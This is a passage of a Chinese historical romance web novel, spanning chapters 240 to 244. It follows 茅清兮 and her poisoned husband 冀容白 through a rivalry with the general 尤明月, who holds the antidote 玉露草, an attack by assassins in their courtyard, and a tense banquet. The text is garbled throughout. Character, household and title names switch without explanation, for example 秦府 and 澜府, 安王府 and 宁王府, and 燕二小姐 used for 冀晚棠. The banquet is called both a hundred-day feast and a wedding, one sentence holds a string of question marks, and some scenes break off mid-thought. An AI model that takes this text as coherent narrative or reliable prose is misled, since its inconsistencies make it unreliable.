茅清兮见他这般说,也忍不住抿唇笑了起来。 她细细回味着司玄苏的那番话,心中豁然开朗。 既然情爱之事无关输赢,那她又何必拘泥于形式?从今往后,她对冀容白,只需随心而动,想做什么便做什么。 …… 自那日之后,茅清兮对待冀容白的态度,明显有了转变。 从前,她总是被动地回应,如今,却时常主动亲近,甚至会说些撩人的情话。 冀容白只当她是开了窍,心中欢喜不已,对她更是百般宠溺。 而另一边,太医依旧每日按时前来为冀容白诊脉。 可冀容白体内的毒,除了传说中的玉露草,根本无药可解。 太医们不过是奉命行事,尽力而为罢了,至少在皇上面前有个说辞。 这日,太医前来请脉时,尤明月又一次不请自来。 她已经在澜府住了有些时日,可冀容白和茅清兮,却始终对她不闻不问。 眼看着离冀容白毒发的日子越来越近,他却依旧一副无动于衷的模样,更没有主动向她提起玉露草的事。 尤明月再也坐不住了,索性跟着太医一同前来,想探探冀容白的口风。 太医诊脉时,冀容白正靠坐在窗边的软榻上,茅清兮则坐在他身旁,手中拿着一本医书,随意地翻阅着。 自从来到京城,尤明月便对茅清兮的“光辉事迹”有所耳闻。 安阳侯府的嫡出小姐,却在嫁给冀容白之后,与侯府断绝了关系,当真是冷血无情。 听闻她自幼不喜读书,不通文墨,只知道舞刀弄剑。 且不说她这等忘恩负义之举,单是她身为女子,却整日沉迷于武学,便已是离经叛道。 更何况,她习武并非为了保家卫国,而只是为了在京城的贵女圈中争强斗胜,更是令人不齿。 前几日茅清兮突然提出要自己研究解毒之法,尤明月便觉得十分可笑。 如今再看她这副模样,分明就是在故弄玄虚。尤明月脸色刷地一下变得煞白。 “???” 茅清兮也愣住了。 冀容白今天这是唱的哪一出?说话做事全凭心情,毫无逻辑可言。 可偏偏就是他,能把“惧内”两个字说得理直气壮,还带着一股子掩饰不住的得意劲儿。 旁边坐着的尤明月,似乎是被他的话给噎住了,张了张嘴,半天没说出个字来。 茅清兮把手里的医书往旁边一放,语气淡淡的: “都别愣着了,开饭吧。尤将军也留下,一起用个午膳。” 尤明月没说同意,也没说不同意,就那么僵在了原地。 茅清兮也不再多说,直接吩咐下人准备。 不一会儿,下人们就端着各色菜肴鱼贯而入,摆了满满一大桌子。 一同端上来的,还有刚刚熬好的汤药,冒着热气,放在了冀容白的手边。 冀容白连看都没看一眼,只顾着给茅清兮夹菜。 尤明月被晾在一旁,颇有些尴尬。 好在绿绿是个机灵的,赶忙上前替尤明月拉开了椅子,又细心地摆好了碗筷。 尤明月这才顺势坐了下来,可脸色却不怎么好看。 茅清兮眉头微皱,轻轻将冀容白的手拨到一边: “冀容白,你自己吃。” 她碗里的菜都快堆成小山了,再夹下去,她可真吃不下了。 冀容白抬眼看她,薄唇轻启,声音里带着一丝不易察觉的委屈: “娘子这是嫌弃我了?” “我可是答应了娘子,以后绝不纳妾,心里只有娘子一个人,娘子怎么还……” 茅清兮听得太阳穴突突直跳。 尤明月更是被这话惊得差点从椅子上跳起来: “不纳妾?!” “茅清兮,你这是要让冀容白违背祖宗规矩吗?!” 自古以来,男人三妻四妾都是常事,哪有不纳妾的道理! 更何况,阻止丈夫纳妾,可是犯了“七出”之条的大罪! 茅清兮抬眼,淡淡地扫了尤明月一眼,没说话。 冀容白却故意拉长了声音,慢条斯理地说: “这怎么能怪我娘子呢?” “我心甘情愿只守着她一个人,有什么不对?” “总不能为了那些庸脂俗粉,就委屈了我自己吧?” 茅清兮猛地转头瞪着他。 这家伙,脸皮怕不是城墙做的! 这种明目张胆夸自己的话,他怎么说得出口? 一旁伺候着的绿绿和俞霜也都惊呆了,两人肩膀一抖一抖的,显然是在拼命憋笑。 尤明月自诩容貌不俗,可这会儿,却感觉像是被人狠狠地扇了一巴掌。 “……”她一时语塞。 冀容白又补了一刀: “想进我澜府的门,旁的不说,至少也得有我娘子这般容貌吧?” 茅清兮听不下去了,幽幽地来了一句: “所以,你以为自己颜值天下第一吗?” 她实在想不通,一个大男人,整天跟人比容貌有什么意思。 而且,冀容白以前不是最讨厌别人夸他长得好看吗? “这话难道不是娘子亲口说的?”冀容白反问道。 茅清兮愣了一下,一脸茫然: “我何时……” “夫人之前不是在大庭广众之下,说最是喜欢我这张脸的。”冀容白提醒道。 第二百四十章 茅清兮努力回想了半天,才终于想起,这事儿似乎还真有。 那还是在陆家山庄的时候,有一次他们回城的路上,被那个讨厌的刁明远给拦住了。 她为了气走刁明远,就拿冀容白的容貌做了 ??????????,没想到他还记着。 记得也就罢了,还一副引以为傲的样子。 茅清兮彻底无语,索性低头专心吃饭,懒得再搭理他。 她眼角的余光瞥见了冀容白手边的那碗药,随口提醒了一句: “药再不喝,可就真凉了。” 冀容白眼尾微微上挑,目光灼灼地盯着茅清兮: “以前,娘子可都是亲自喂我的,如今……” 茅清兮瞪了他一眼。 这家伙,今天是吃错药了? 没看到旁边还有外人在吗? 堂堂苏枭将军,现在是越来越没个正形了。 冀容白却像没事人一样,凤眸中雾气氤氲,笑意中带着几分让人看不透的深沉。 茅清兮嘴角抽了抽,既然他想喝,那她就成全他。 她端起药碗,用银勺舀了一勺,递到冀容白唇边。 冀容白笑眯眯地张嘴喝了下去,可下一秒,眉头就忍不住皱了起来。 茅清兮装作没看见,继续喂。 冀容白脸上的笑容渐渐有些维持不住。 他艰难地咽下一口,苦着脸说: “能不能……先让我吃口别的压一压?” 茅清兮笑眯眯地看着他,语气温柔: “夫君不是说,最喜欢我喂的药了吗?” “怎么,这才喝了几口,就不喜欢了?” “喜欢……” 冀容白硬着头皮,一个字一个字地往外蹦。 茅清兮也不催他,只是慢悠悠地舀着药,一勺接着一勺,不紧不慢地喂着。 满满一碗药,终于见了底。 另一边,尤明月“啪”地一声将筷子重重地拍在了桌子上,冷着脸说: “我用好了。” 说完,她起身就走,头也不回。 茅清兮连眼皮都没抬一下,仿佛没看到这个人一样。 要不是冀容白信誓旦旦地说,他有办法让尤明月心甘情愿地交出玉露草,她才懒得搭理这个女人。 尤明月前脚刚离开,冀容白后脚就端起一杯凉茶,“咕咚咕咚”一口气灌了下去。 从舌尖到喉咙,满嘴都是苦到发涩的中药味,苦得他整张脸都快扭曲了。 可一抬头,看到茅清兮正捂着嘴偷笑,他又忍不住跟着笑了起来。 笑声中,带着几分无奈,几分宠溺,还有几分连他自己都没察觉到的纵容。 “不出三日,墨川应该就能带着鹰羽卫回京了。” 冀容白忽然开口说道。 茅清兮有些惊讶: “鹰羽卫回京?云陲那边的事,都安排妥当了?” 冀容白虽然收复了云陲六城,可若是没有得力的人镇守,西魏人卷土重来,云陲依旧守不住。 可朝中那些大臣对鹰羽卫一直心存忌惮,绝不会允许鹰羽卫长期驻守在边境。 所以一直以来,都是冀容白在哪儿,鹰羽卫就在哪儿。 冀容白却是一副成竹在胸的样子: “放心,如今的云陲,可不是那么容易就能被人夺走的。” “过不了多久,你就会收到好消息。” 冀容白所说的“好消息”,当晚就送到了尤明月的手中。 只不过,对尤明月来说,这可算不上什么好消息。 她拿着刚刚收到的密信,怒气冲冲地闯进了冀容白的书房,劈头盖脸地质问道: “冀容白,你这到底是什么意思?!” 冀容白正坐在书桌后,手里拿着一卷书,看得津津有味。 听到尤明月的声音,他连头都没抬,只淡淡地回了一句: “字面上的意思。” “你把墨家军化整为零,分散驻扎在云陲十城,还把他们打散了编入各城的守备军中!” 尤明月的声音都在颤抖, “你这是要架空我,夺了我的兵权?!” 她顿了顿,又强压着怒火说道: “可你别忘了,墨家军的兵符掌控在我手中!只要我回到军中,振臂一呼,墨家军照样听我的号令!” 冀容白这才缓缓抬起头,玩味地打量着她: “是吗?可我怎么听说,你那位兄长,最近在军中,很得人心?” 尤明月的脸色“唰”地一下变得惨白。 她这才意识到,自己犯了一个多大的错误。 冀容白根本就没打算把墨家军怎么样,他只是想换个人掌控墨家军! “我早该想到,你不会这么好心……” 尤明月喃喃自语,眼中充满了懊悔和不甘。 冀容白放下了手中的书卷,身体微微后仰,靠在了椅背上,语气冰冷: “尤明月,我再跟你说最后一遍。” “我不是什么善男信女,更不会毫无保留地去帮一个算计过我的人。” “你若是安分守己,我可以让你继续做你的安国将军,享受你应得的荣华富贵。” “若你执意要与我为敌……” 冀容白的声音陡然转冷, “我可以让你这安国将军沦为傀儡,变成一个彻头彻尾的笑话。” 尤明月的身体微微颤抖起来,眼中充满了绝望和哀伤: “冀容白,我承认,当初是我不对,我不该用玉露草来要挟你。” “可我……我只是喜欢你啊,你就不能给我一个机会吗?” “机会?” 冀容白冷笑一声, “你觉得,我冀容白像是那种会怜香惜玉的人?” “从你算计我的那一刻起,你在我眼里,就什么都不是了。” 他看着尤明月失魂落魄的样子,声音更冷了几分: “把玉露草交出来,我保你秦家平安无事,保你继续做你的安国将军。” “至于其他的……你想都不要想。”“盯着尤明月。” 冀容白从书房走出,对不知何时出现在身侧的富辰淡淡吩咐。 “是。”富辰应声时,人已如鬼魅般消失。 冀容白独自走向内院,步履不快,却在几息间闻到了一丝极淡的血腥气。 他眉心一拧,脸色骤变。 几乎是本能地,冀容白足尖点地,身形如电,几个起落间便掠至内院。 映入眼帘的,是四具横陈的黑衣人尸体。 而茅清兮,正站在一旁,姿态闲适地以绢布擦拭着手中那柄名为“三寒霜”的长剑。 剑刃反光,映出她清冷的侧颜。 冀容白高悬的心脏猛地落回实处,他长吁出一口气,只觉绷紧的脊背都有些发软。 “主子,是属下等失职!” 富辰与富峻“扑通”跪地,声音里带着显而易见的惶恐。 倒是富峻,还强撑着挤出一个笑脸: “这几个不自量力的东西,竟敢惊扰夫人,被夫人三两下就……” “闭嘴!”冀容白冷斥,眼神如刀,“自己去律罚阁领三十鞭!再有下次……” 他顿了顿,声音更冷: “提头来见。 第二百四十一章 ” 富峻脸上的笑意瞬间冻结,与富辰一同叩首:“……是。” 俞霜垂首,默默将佩刀收回鞘中。 他走上前,与富峻、富辰二人合力,将那几具尸体悄无声息地处理掉。 冀容白几步走到茅清兮身侧,上下打量,声音关切: “没伤着吧?” 茅清兮摇头,将擦拭干净的三寒霜归鞘: “他们,还不够格。” 语气平淡,却透着不容置疑的自信。 冀容白看着她,无奈又宠溺地伸手,轻轻捏了捏她的鼻尖: “是,我的夫人最厉害。” “但下次,这种事交给富辰他们。” 他微微侧头,看向空无一人的角落,声音里带了警告: “这是他们的职责。” 茅清兮没说什么,只抬眸看他,眼神清亮: “这样的事,不是第一次了吧?” 冀容白一噎,随即苦笑: “自打回府,这已是第三拨了。” 他轻嗤一声,语气嘲讽: “也不知是哪路‘朋友’,如此‘惦记’我。” 前两次,刺客都被拦在了府外。 这次,若非茅清兮恰好在内院…… 冀容白不敢深想,只觉后背一阵发寒。 茅清兮看着他,眼神认真: “你不该瞒我。” “这些事,我可以帮你。” 冀容白一怔。 他凝视着茅清兮,那双清冷如雪的眸子里,此刻正泛着浅浅的涟漪。 心,像是被什么轻轻撞了一下。 他弯了弯唇角,语气愉悦: “好,都听夫人的。” 冀容白俯身,在茅清兮的耳边低语,气息温热: “那……为夫现在想亲你,也要先告知夫人吗?” 茅清兮的耳垂,以肉眼可见的速度染上一层薄红。 她握着剑柄的手紧了紧,长睫微垂,遮住了眼底的情绪。 “这……”她有些不自在地别过脸,“不必事事都问。” 冀容白低笑,得寸进尺地凑近,声音蛊惑: “可是夫人说,事事都……” “我现在,只想亲你。” 最后一个字落下,他的唇,也落在了她的唇上。 轻柔的,试探的。 “哐当——” 三寒霜从茅清兮手中滑落,坠地,发出清脆的声响。 剑身如镜,映出两人交缠的身影,以及…… 茅清兮眸中那一闪而逝的慌乱,和逐渐迷离的眼神。 …… 天光还未大亮。 茅清兮是被一阵低咳声惊醒的。 她睁开眼,发现自己仍被冀容白紧紧搂在怀里。 下意识地,她伸手探了探他的额头。 入手一片冰凉。 冀容白这副身子,当真如寒玉一般,没有一丝活人的温度。 茅清兮的眉心,不自觉地蹙起。 她伸手,轻轻搭上他的腕脉。 脉象虚浮,迟缓无力。 “醒了?” 冀容白睁开眼,声音沙哑,带着几分倦意。 他动了动身子,将她搂得更紧。 “别动。”茅清兮低声道,“你的毒……” “无妨。”冀容白打断她,声音很轻,却透着不容置疑,“我心里有数。” 茅清兮还想说什么,却被他一个翻身,压在了身下。 “你……” 她的话,被他尽数吞没。 这个吻,带着几分急切,几分霸道,还有几分…… 难以言喻的温柔。 茅清兮的心,微微颤动。 她闭上眼,任由他予取予求。 不知过了多久,冀容白才缓缓放开她。 他抵着她的额头,低声喘息。 “玉露草的事,你不必插手。” 他的声音,带着几分沙哑,几分疲惫。 “我会处理。” 茅清兮看着他,眼神复杂。 她想开口,却又不知该说什么。 冀容白似乎看穿了她的心思,伸手,轻轻抚过她的眉眼。 “听话。” 他低声道,语气温柔,却带着不容抗拒的霸道。 茅清兮沉默片刻,终是点了点头。 …… 接下来的几日,秦府风平浪静。 尤明月那边,也没有任何动静。 茅清兮虽心中焦急,却也只能按捺不发。 她知道,冀容白有自己的打算。 她不该,也不能,干涉他的计划。 只是,她不明白,他到底在等什么。 直到…… 一封来自安王府的请帖,打破了这短暂的平静。 宁王侧妃诞下麟儿,要办百日宴,广邀京中权贵。 这其中,自然也包括冀容白与茅清兮。 当然,还有……尤明月。 帖子是分别送来的,可落款都一样。 尤明月捏着那张大红的帖子,眼神晦暗不明。 这些时日,云陲战事吃紧的消息不断传来。 可她却像是被隔绝在了另一个世界。 冀容白再也没有找过她。 仿佛,她这个人,已彻底从他的生命中消失。 可她不甘心。 她不相信,他对她当真如此绝情。 曾经,在云陲,他们也曾有过一段生死与共的时光。 那时,他们并肩作战,一同商议军情。 所有人都说,他们是天造地设的一对璧人。 就连军中的将士们,也时常拿他们打趣。 冀容白虽从未正面回应,却也从未否认过。 她一直以为,自己在冀容白的心中,是与众不同的。 毕竟能与他一同上阵杀敌的女子,又能有几人? 所以,她才敢孤注一掷,以玉露草要挟,逼他娶她。 圣旨已下,只差他点头。 可他偏偏不肯。 不仅不肯,还一手摧毁了她赖以生存的墨家军。 让她这个名震天下的安国将军,彻底沦为笑柄。 她恨他,却更爱他。 她想留在她身边,哪怕……不择手段。 她攥紧了手中的请帖,眼神逐渐变得坚定。 这或许,是她最后的机会。 无论如何,她都要试一试。 哪怕…… 飞蛾扑火。 出门时,她与茅清兮狭路相逢。 四目相对,尤明月的眼中,是毫不掩饰的嫉恨与不甘。 而茅清兮,却只是淡淡地扫了她一眼,便移开了目光。 那眼神,冷漠,疏离,仿佛在看一个无关紧要的陌生人。 尤明月的心,像是被什么狠狠刺了一下。 她咬紧牙关,强忍着没有让自己失态。 茅清兮,你得意不了多久…… 她在心中暗暗发誓。 …… 安王府,张灯结彩,宾客盈门。 宁王与宁王妃亲自迎在门前。 见到冀容白与茅清兮,宁王笑容满面: “世子,世子妃,大驾光临,有失远迎!” 冀容白微微一笑,拱手道: “王爷客气,本世子不过是来沾沾王府的喜气。” 他说着,目光扫过宁王妃怀中抱着的婴孩。 那孩子,白白胖胖,煞是可爱。 宁王的笑容,微微一僵。 他干笑两声,正要说什么,却听冀容白又道: “不过,我这副身子,怕是会冲撞了小世子的福气。” “王爷,还是莫要怪罪的好。” 宁王的脸色,瞬间变得有些难看。 他强忍着怒意,挤出一个笑容: “世子说笑了,快请进,快请进!” 冀容白没再说什么,只意味深长地看了他一眼,便携着茅清兮,踏入了安王府。 第二百四十二章 宁王望着他们的背影,眼神阴沉。 他回头,看向身侧的宁王妃。 宁王妃微微颔首,示意他稍安勿躁。 她将孩子交给一旁的嬷嬷,低声吩咐了几句,这才快步跟了上去。 一场看似热闹的百日宴,实则暗流涌动。安王府今日格外热闹。 侧妃诞下麟儿,虽非嫡出,却是宁王第二个儿子,意义自然不同。宾客络绎不绝,贺喜声此起彼伏。宁王满面红光,春风得意,便是太子、贤王亲临,他也亲自迎出府门,姿态做足,更显其喜不自胜。 然而,与前厅的热闹喧嚣相比,正厅内的气氛却显得有些诡异。 原因无他,只因冀容白来了。 这位平日里深居简出,极少在公众场合露面的世子爷,今日竟破天荒地出现在了安王府。 要知道,从前他身体抱恙,不良于行,京中大小宴饮,几乎从未见其身影。后来虽去了趟云陲,却也如石沉大海,再无音讯,只留各种传闻在京中流传。 今日一见,众人心头皆是一凛。 冀容白虽仍旧坐在轮椅之上,可周身那股令人胆寒的气势却丝毫不减。众人噤若寒蝉,生怕一个不小心,惹恼了这位煞神。 只是,他们的目光,总忍不住往冀容白身侧瞟去。 更确切地说,是落在他身旁的两个女子身上。 茅清兮,冀容白名义上的妻子。 尤明月,新晋安国将军,也是即将过门的世子妃。 这等局面,明眼人一看便知,一场好戏怕是难以避免了。 众人心中暗自揣测,却无人敢在这个节骨眼上多言,只得将满腹好奇生生压下。 直到,冀家一行人的到来,打破了这微妙的平衡。 为首的,是冀徒临。他身后跟着冀晚棠,以及冀二夫人。如今秦府诸事,皆由冀徒临出面,众人心中早已默认,他便是下一任国公爷。 冀徒临见到冀容白,显然有些意外。 他略一迟疑,还是带着冀晚棠上前见礼。 “大哥,大嫂,”他顿了顿,又转向尤明月,“尤将军。” 人前,他礼数周全,挑不出一丝错处。 然而,冀容白却连眼皮都未曾抬一下,直接将他无视了个彻底。茅清兮亦是视若无睹,态度与冀容白如出一辙。 冀徒临对此似乎早已习以为常,面上并未流露出任何异样。 倒是他身后的冀晚棠,按捺不住了。 这位娇生惯养的大小姐,何曾受过这等冷落?只是碍于冀容白的威慑,她不敢造次,只得将一腔怒火转向了茅清兮。 “二哥这‘大嫂’叫得,怕是不妥吧?” 冀晚棠的声音不大,却足以让在场所有人都听得一清二楚。 她斜睨着茅清兮,眼中尽是轻蔑与挑衅: “过些时日,府里可就要迎新人了。到时候,某些人怕是要被扫地出门喽。” 她故意顿了顿,目光在茅清兮身上来回扫视,仿佛在看一件待价而沽的货物。 “哦,对了,我险些忘了,茅清兮你,早就被宋家除名了。这要是被休了,可真是无家可归了呢。” 冀晚棠掩嘴轻笑,眼神愈发刻薄: “啧啧,这没了去处,往后可如何是好?总不能……” 她故意拉长了语调,声音中满是恶意: “去那等地方讨生活吧?” 话音未落—— “哗啦!” 一杯水,兜头泼在了冀晚棠的脸上。 动手的,正是茅清兮。 她这一手,来得突然,以至于冀晚棠根本来不及躲闪,被泼了个正着。 精心梳理的发髻,瞬间湿淋淋地耷拉下来,精致的妆容也化作一团,整个人狼狈不堪,活像一只落水狗。 “哎呀,真是不好意思。” 茅清兮一脸歉疚, “我这手,最近总是抽筋,方才一个没拿稳,燕二小姐,没烫着你吧?” 她这话,说得情真意切,任谁听了,都会以为她当真是不小心。 可明眼人却都看得出来,她分明就是故意的! “茅清兮!你这个贱人!” 冀晚棠气得浑身发抖,尖叫一声,便要扑上去与茅清兮厮打。 她何曾受过这等羞辱?今日定要让茅清兮好看! 冀徒临眼疾手快,一把将她扯住。 虽说他也恼怒茅清兮的举动,可眼下这情形,显然不是算账的时候。 “茅清兮,你这是何意?!” 冀徒临沉声质问, “莫非,你真当我们洛国公府无人不成?!” 冀容白这才缓缓抬眸, 他冷冷地扫了冀徒临一眼,语气冰冷: “连‘大嫂’都不叫了?” 短短几个字,却让冀徒临的脸色瞬间变得苍白。 他心中清楚,冀容白此举,并非为了维护茅清兮,而是故意寻衅,借题发挥。 毕竟,自己夺了他心心念念的爵位,他心中怎能不恨? 冀徒临暗自咬牙,将这口气生生咽下。 他告诉自己,要忍。 冀容白时日无多,待他一死,这洛国公府,还不是自己说了算? 到时候,有的是机会收拾茅清兮! 可冀晚棠却不似他这般能忍, 她挣扎着,还欲上前,口中更是骂骂咧咧: “哥!你拦着我做什么!我要撕烂这个贱人的嘴!” 冀徒临死死拽住她,低声喝斥: “你给我闭嘴!嫌丢人还不够吗?!” “等冀容白死了,你想怎么出气都行,现在,给我安分点!” 冀晚棠哪里肯听, 她一把甩开冀徒临的手,气冲冲地回到了冀二夫人身边。 刚一坐下,便开始哭闹起来。 “娘!您瞧瞧,哥哥他竟帮着外人欺负我!” 冀晚棠指着茅清兮,声音又尖又细, “那个狐狸精,她就是看我不顺眼!故意找茬!” 平日里娇纵惯了的她,此时已全然不顾及这是什么场合,哭得一把鼻涕一把泪。 冀二夫人心疼不已,连忙将女儿搂进怀中,轻拍她的后背,柔声安抚: “好孩子,不哭了,娘知道你委屈。” 她一边哄着冀晚棠,一边用怨毒的目光瞪视着茅清兮,恨不能将她生吞活剥。 “这个小娼妇,早晚有一天,我要让她付出代价!” 见女儿情绪稍稍平复,冀二夫人又换上一副语重心长的口吻: “晚棠,你听娘说,跟这种人生气,不值当。咱们是什么身份?她是能跟咱们比的吗?不过是仗着几分姿色,狐媚惑主的下贱东西!你且等着,等她色衰爱弛,有她哭的时候!” 冀晚棠听了,抽抽噎噎地止住了哭声,可心中那股怨气却并未消散。 她狠狠地瞪着茅清兮,那眼神,恨不得在她身上剜出几个窟窿来。 周围的宾客见状,议论声更响了。 这些世家贵妇、千金,平日里最是擅长察言观色、见风使舵。 她们见冀二夫人母女吃了瘪,便纷纷出言嘲讽,明里暗里地贬低冀晚棠,言语间极尽刻薄。 第二百四十三章 坐在她们一旁的,是礼部尚书家的嫡女石芷凝。 这位左小姐,可是京城里出了名的才女,与已故的茅暮暮并称“京城双姝”。 不过,与张扬跋扈的茅暮暮不同,石芷凝为人低调内敛,甚少在人前显露才华。 她静静地坐在那里,听着冀晚棠母女的对话,以及周围人的议论,眉头微微蹙起。 她抬眼,朝对面的冀容白望去。 只见他正低着头,似乎在与茅清兮说着什么,看不清神色。 石芷凝的眼神,微微一黯。 过了一会儿,冀二夫人像是想起了什么,拉着冀晚棠走到石芷凝身边,脸上堆满了讨好的笑容。 “左小姐,许久不见,您真是越发光彩照人了。” 冀二夫人热情地与石芷凝寒暄, “这是我们家晚棠,这孩子,自小就仰慕您的才学,一直想跟您亲近亲近呢。” 她这话,明眼人一听便知,是想让冀晚棠与石芷凝攀上关系。 毕竟,石芷凝在京城贵女圈中颇有声望,若是能与她交好,冀晚棠日后在圈子里也能多个照应。 石芷凝心中明了,对于冀晚棠这种品行不端的女子,她并无好感。 可她素来以贤良淑德、温婉大方示人,自然不会当面表露出来。 她只是淡淡一笑,与冀二夫人客套了几句。 可与石芷凝交好的那些贵女们,却没有这般好脾气。 她们你一言我一语,冷嘲热讽,将冀晚棠贬得一无是处。 “哟,这不是燕二小姐嘛,听说前些日子,您与李公子……” “哎呀,人家燕二小姐可是‘才貌双全’,岂是咱们能比的?” “就是就是,咱们可不敢跟燕二小姐相提并论,人家可是‘名动京城’呢。” 这些话,像一根根尖刺,狠狠地扎在冀晚棠的心上。 她气得脸色一阵青一阵白,却又不敢发作,只能将满腔怒火都发泄在了冀二夫人身上。 “娘!您瞧瞧这些人!她们、她们简直欺人太甚!” 冀二夫人这次倒没再一味地哄劝,反倒是板起了面孔,厉声斥责: “哭什么哭!没出息的东西!被人说几句就受不了了?你给我记住,你是洛国公府的二小姐!将来是要做大事的人!怎能被这些闲言碎语所扰?!” “往后,你给我把腰杆挺直了,拿出点气势来!别让这些人小瞧了咱们!” 冀晚棠被她这一训斥,倒是止住了哭声,只是仍旧一副愤愤不平的模样。 正厅内的这场闹剧,并未影响到前厅的觥筹交错。 太子、贤王皆在,虽说他们在朝堂之上明争暗斗,但在这种场合,却都表现得兄友弟恭,一派和睦。 他们先后走到冀容白面前,寒暄问候。 太子与宁王,更是对尤明月赞赏有加。 太子甚至不拘君臣之礼,亲自斟酒,敬了尤明月一杯,给足了她颜面。 贤王并未参与其中,而是命人将自己的席位移至冀容白身旁,落座后,便与冀容白闲聊起来。 “容白,等你身子骨再好些,咱们可得好好聚聚。” 贤王拍了拍冀容白的肩膀,笑着说道。 冀容白微微颔首,应道:“好。” 贤王又转头看向茅清兮,说道: “臧夫人,上次秋猎时您烤的鱼,滋味当真一绝。本王回去后,也曾多次尝试,却始终做不出那个味道。” 茅清兮微微一笑,正欲开口,却被一个突兀的声音打断。 “哦?烤鱼?” 冀容白的声音,低沉而沙哑, “我怎的不记得,你何时为旁人烤过鱼?” 茅清兮一怔, 她没想到冀容白会突然提起此事, 更没想到他会用这种语气与自己说话。 她张了张嘴,正欲解释,却听贤王哈哈大笑起来: “容白,你这可就孤陋寡闻了。那日臧夫人大展身手,在场的可有不少人都尝到了呢,那滋味,啧啧……” 贤王说着,还砸了咂嘴,一副回味无穷的模样。 冀容白的面色,以肉眼可见的速度阴沉下来。 他紧紧地盯着茅清兮, “为夫何时能吃到娘子亲手烤的鱼?” 他将酒杯放在桌案上,那一声轻响,在此刻却显得格外清晰,令人心头一颤。“我做的烤鱼,味道很一般,”茅清兮微微侧过头,眼神中带着一丝困惑,望向身旁的冀容白,“王爷若是想吃,吩咐府里的厨子做就是了。” 她说完,等了片刻,冀容白却只是静静地凝视着她,一言不发。 边上的贤王瞧见了,没忍住,“噗嗤”一声笑了出来,他摇了摇头,没再说什么,只是那笑意却怎么也掩不住。 周遭的气氛,变得有些微妙。 茅清兮眨了眨眼,后知后觉地反应过来,冀容白这副模样……莫不是在吃醋? 可这醋吃的,也太莫名其妙了吧? 她心里嘀咕着,这都哪儿跟哪儿啊,八竿子打不着的事,也能让他泛起醋意来? 她忍不住偷偷瞥了冀容白一眼。 这一眼,却发现冀容白已经收回了目光,视线落在了眼前的茶杯上,神色淡淡的,看不出他在想些什么。 茅清兮犹豫了一下,还是顺手拿起一块糕点,轻轻地塞进了冀容白的手心里。 “甜食不对我胃口。”冀容白几不可闻地哼了一声,语气里带着一丝别扭。 茅清兮在心里翻了个白眼。 得了吧,还不爱吃甜的,平日里喝药都恨不得泡在蜜罐子里,还好意思说这话? 她撇了撇嘴,懒得拆穿他,只是放低了声音,带着几分哄劝的意味:“好啦好啦,知道你不爱吃甜的,馋烤鱼了呗,等回去了,我亲自下厨给你做,这总行了吧?” “换个别的。”冀容白微微抬了抬下巴,唇角似有若无地勾起一抹弧度,“烤鱼忽然又不想吃了,你还有什么本事?” 茅清兮被他这一连串的“变卦”给弄得有些懵。 她皱着眉头,认真地想了想,试探着问:“那……长寿面?” “离我生辰还远着呢,”冀容白慢条斯理地说着,端起茶杯,轻轻吹了吹,“娘子不必这么急着为我庆生。” 茅清兮:“……” 她暗暗地握紧了拳头。 这人,绝对是故意的! “不过嘛……”冀容白突然话锋一转,语气也变得柔和了几分,“只要是娘子亲手做的,为夫都愿意尝一尝。” 茅清兮在心里冷笑。 谁要给他做啊,爱吃不吃! 她索性扭过头去,不再搭理冀容白。 可她不理他,冀容白反倒主动凑了过来,跟她低声说着话。 今天是宁王大婚的日子,在场的其他人虽然好奇他俩在嘀咕些什么,但也不好凑近了听。 太子似乎心情不错,他举起酒杯,朝冀容白和尤明月的方向遥遥一敬: “此次大晋北境能够安定,多亏了苏将军和尤将军,孤敬二位一杯。 第二百四十四章 ” 冀容白只是象征性地举杯,嘴唇在杯沿轻轻碰了一下,算是喝过了。 紧接着,宁王和其他几位朝臣也纷纷起身,向两人敬酒。 冀容白依旧是那副冷淡的模样,应付得有些心不在焉。 这些朝臣们,平日里在他面前碰钉子也不是一回两回了,早就习惯了他的冷淡,也就不敢再往他跟前凑。 他们转而将目标对准了尤明月,借着这个机会,与她攀谈起来。 毕竟,女子为将,虽然以前也有过,但终究是少数,能做到尤明月这个地步的,更是凤毛翎角。 太子和宁王轮番上阵,夸赞尤明月。 一个说她是“巾帼不让须眉”,一个说秦家世代忠良,戍守北境,劳苦功高。 众人见状,哪还不明白这两位的心思?立刻纷纷上前,对尤明月敬酒,各种溢美之词,不要钱似的往外倒。 一时间,尤明月成了全场的焦点,风头无两,其他的女眷,倒像是成了她的陪衬。 尤明月对这样的场面,显然很是受用。 她来者不拒,一杯接一杯地喝着,眉眼间尽是得意之色。 她挺直了脊背,站在那里,目光在席间扫过,最后落在了那些女眷身上。 看着这些或低眉顺眼,或窃窃私语的女人们,尤明月心中涌起一股说不出的厌恶。 在她看来,这些女人甘愿困于内宅,事事依附男人,简直就像是菟丝花一样,毫无生气,让人看着就觉得心烦。 她的目光,最终停留在茅清兮的身上,带着几分挑衅,几分不屑。 她倒要看看,茅清兮看到自己像个男人一样,被众人敬仰,会是什么样的表情。 是嫉妒?是不甘?还是……羡慕? 然而,让尤明月失望的是,茅清兮压根就没注意到她。 茅清兮正专心地对付着面前的食物,似乎对周围的一切都漠不关心。 尤明月眼中闪过一丝轻蔑。 没见过世面的女人,就是这样,只知道争一时之长短。 她暗自冷笑,就算当初冀容白没选她,又能怎么样? 放眼整个大晋,有哪个女子能像她这样? 别说是在这宴席上了,就算是在朝堂之上,她尤明月也敢说,要自己挑选夫君! 就连太子和宁王,对她都要礼让三分,冀容白…… 想到这,尤明月眸中寒光一闪。 原本压在心底的那些不甘与恼怒,此刻,尽数涌了上来,化作一股戾气,几乎要从胸腔中喷薄而出。 她紧紧地咬着牙,指甲深深地嵌入掌心,却感觉不到丝毫疼痛。 凭什么?! 那个男人,他凭什么敢那样轻视自己? 他真以为,自己离了他,就什么都不是了吗? 尤明月在心中冷哼,她就不信,这天下,除了他冀容白,就再也没有别的男人,能配得上自己! 她暗暗下定了决心,今日,一定要让冀容白看到,她尤明月,不是非他不可! 她要让他后悔,后悔当初的决定! 就在这时,变故突生—— “啊!” 一声惊呼,打破了这原本还算和谐的气氛。 尤明月只觉得眼前一花,紧接着,一股浓烈的酒气扑面而来,伴随着一阵湿漉漉的触感,瞬间浸透了她的衣衫。 她猛地抬起头,却见一个侍女打扮的女子,正手忙脚乱地想要扶起一个倾倒的酒壶,而那酒壶里,还残留着不少酒液,正顺着桌沿,滴滴答答地往下淌。 “你……你干什么?!” 尤明月又惊又怒,厉声呵斥道。 宁王妃也愣住了,她怎么也没想到,会发生这样的事。 她快步走上前,一边查看尤明月的情况,一边怒斥那侍女:“怎么回事?连个酒都倒不好,要你何用?!” 